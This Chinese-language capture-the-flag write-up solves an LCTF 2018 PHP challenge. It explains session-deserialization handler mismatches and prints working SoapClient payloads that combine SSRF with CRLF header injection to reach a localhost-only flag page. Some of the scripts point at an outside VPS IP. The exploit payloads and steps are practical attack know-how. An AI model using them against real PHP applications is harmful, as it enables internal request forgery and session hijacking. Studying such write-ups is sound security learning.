题目源码很短,就几行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
index.php <?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET['f'],$_POST); session_start(); if(isset($_GET['name'])){ $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); flag.php <?php session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{******************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
|
这题有个call_user_func函数,最好的情况下是先进行变量覆盖,将$b覆盖成unserialize,然后下一个call_user_func再去调用去进行利用,但是$a是数组,比较难进行利用,可是题目给出的flag文件可以猜测应该是利用反序列化去触发ssrf,只是我们找不到一个可以利用的类,所以现在的问题就是要先找一个可以进行利用的类。
我们可以看到,两个文件的session都开了,所以其实这里隐藏了php session的反序列化机制问题,通过session去进行反序列化的利用。
php session反序列化机制
在php.ini中存在着session.serialize_handler的配置,用来定义序列化处理的处理器的名字,默认使用的是php。
如果序列化和反序列化的引擎选择不一样,当使用php引擎的时候,php引擎会以|作为key和value的分隔,继续对value进行反序列化,由此达成触发反序列化的目的。
具体看这个 https://blog.spoock.com/2016/10/16/php-serialize-problem/
SOAP的利用
SOAP是webservice的三要素(soap,WSDL,UDDI)之一,WSDL用来描述如何访问具体的接口,UDDI用来管理、分发、查询webservice,SOAP可以和现存的许多因特网协议和格式结合使用。
简单的说,SOAP是连接在web服务和web客户端之间的接口。它采用http作为底层通讯协议,xml作为数据传送的格式。soap消息基本上是从发送端到接收端的单向传输,但他们常常结合起来执行类似于请求 / 应答的模式。
我们先试一下最简单的用法
1 2 3 4 5 6
|
<?php $a = new SoapClient(null,array('location'=>'http://vps_ip:2333 ','uri'=>'123')); $b = serialize($a); echo $b; $c = unserialize($b); $c -> a();
|
同时,修改头部还能有crlf漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
<?php $target = "http://134.175.34.73:2333"; $post_string = 'data=abc'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=crk7lmeh2r9b960jlcdh88kvg4' ); $b = new SoapClient(null,array('location' => $target,'user_agent' => 'glarcy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa);
$d = unserialize($aaa); $d -> b();
|
回到题目
因此这一题我们可以通过call_user_func去设置session.serialize_handler,然后用默认的引擎去触发反序列化。
1 2 3 4 5
|
<?php $target = 'http://127.0.0.1/ctf/soap/flag.php'; $attack = new SoapClient(null,array('location'=>$target,'user_agent'=>"glary\r\nCookie: PHPSESSID=crk7lmeh2r9b960jlcdh88kvg4\r\n",'uri'=>'123')); $payload = urlencode(serialize($attack)); echo $payload;
|
注意要在payload前加一个|,这样就能使它对payload反序列化。
此时,我们的payload已经存进去session了,接下来就是要去触发反序列化
因为题目会将session的值var_dump出来,最后只需要将我们的session改成payload的session就行
评论